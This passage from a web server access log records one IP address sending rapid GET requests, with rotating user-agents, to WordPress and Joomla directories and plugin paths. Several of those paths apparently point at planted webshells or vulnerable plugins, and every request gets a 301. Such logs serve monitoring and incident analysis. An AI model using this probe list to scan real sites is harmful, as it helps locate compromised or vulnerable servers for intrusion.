/wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:46 +0300] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /public/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:47 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-includes/js/tinymce/plugins/paste/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:48 +0300] "GET /files-and-directories-in-linux/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /filemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /modules/simpletest/tests/themes/test_basetheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-content/themes/twentytwentyone/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-content/plugins/simple/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-includes/Requests/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:49 +0300] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-content/plugins/elementor/modules/floating-buttons/classes/render/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-content/themes/twentytwentytwo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-admin/css/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-content/plugins/wp-file-manager/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-content/plugins/elementor/assets/js/packages/editor-app-bar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /modules/mod_footer/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-content/plugins/olympus-google-fonts/assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-includes/css/dist/nux/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-includes/js/tinymce/plugins/lists/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-content/themes/evita/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-includes/sitemaps/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-content/ID3/img/img/block/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:50 +0300] "GET /wp-includes/theme-compat/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /wp-includes/SimplePie/Decode/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /wp-content/uploads/gravity_forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /wordpress/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /wp-content/plugins/litespeed-cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /cgi_bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /proyectoweb/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:51 +0300] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /wp-content/plugins/wp-catcher/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /portal/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /wp-content/plugins/rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /wordpress/wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /wp-content/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /wordpress/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /wp-includes/Text/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /wordpress/wp-content/plugins/rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /wordpress/wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /wp-includes/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:52 +0300] "GET /default/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - 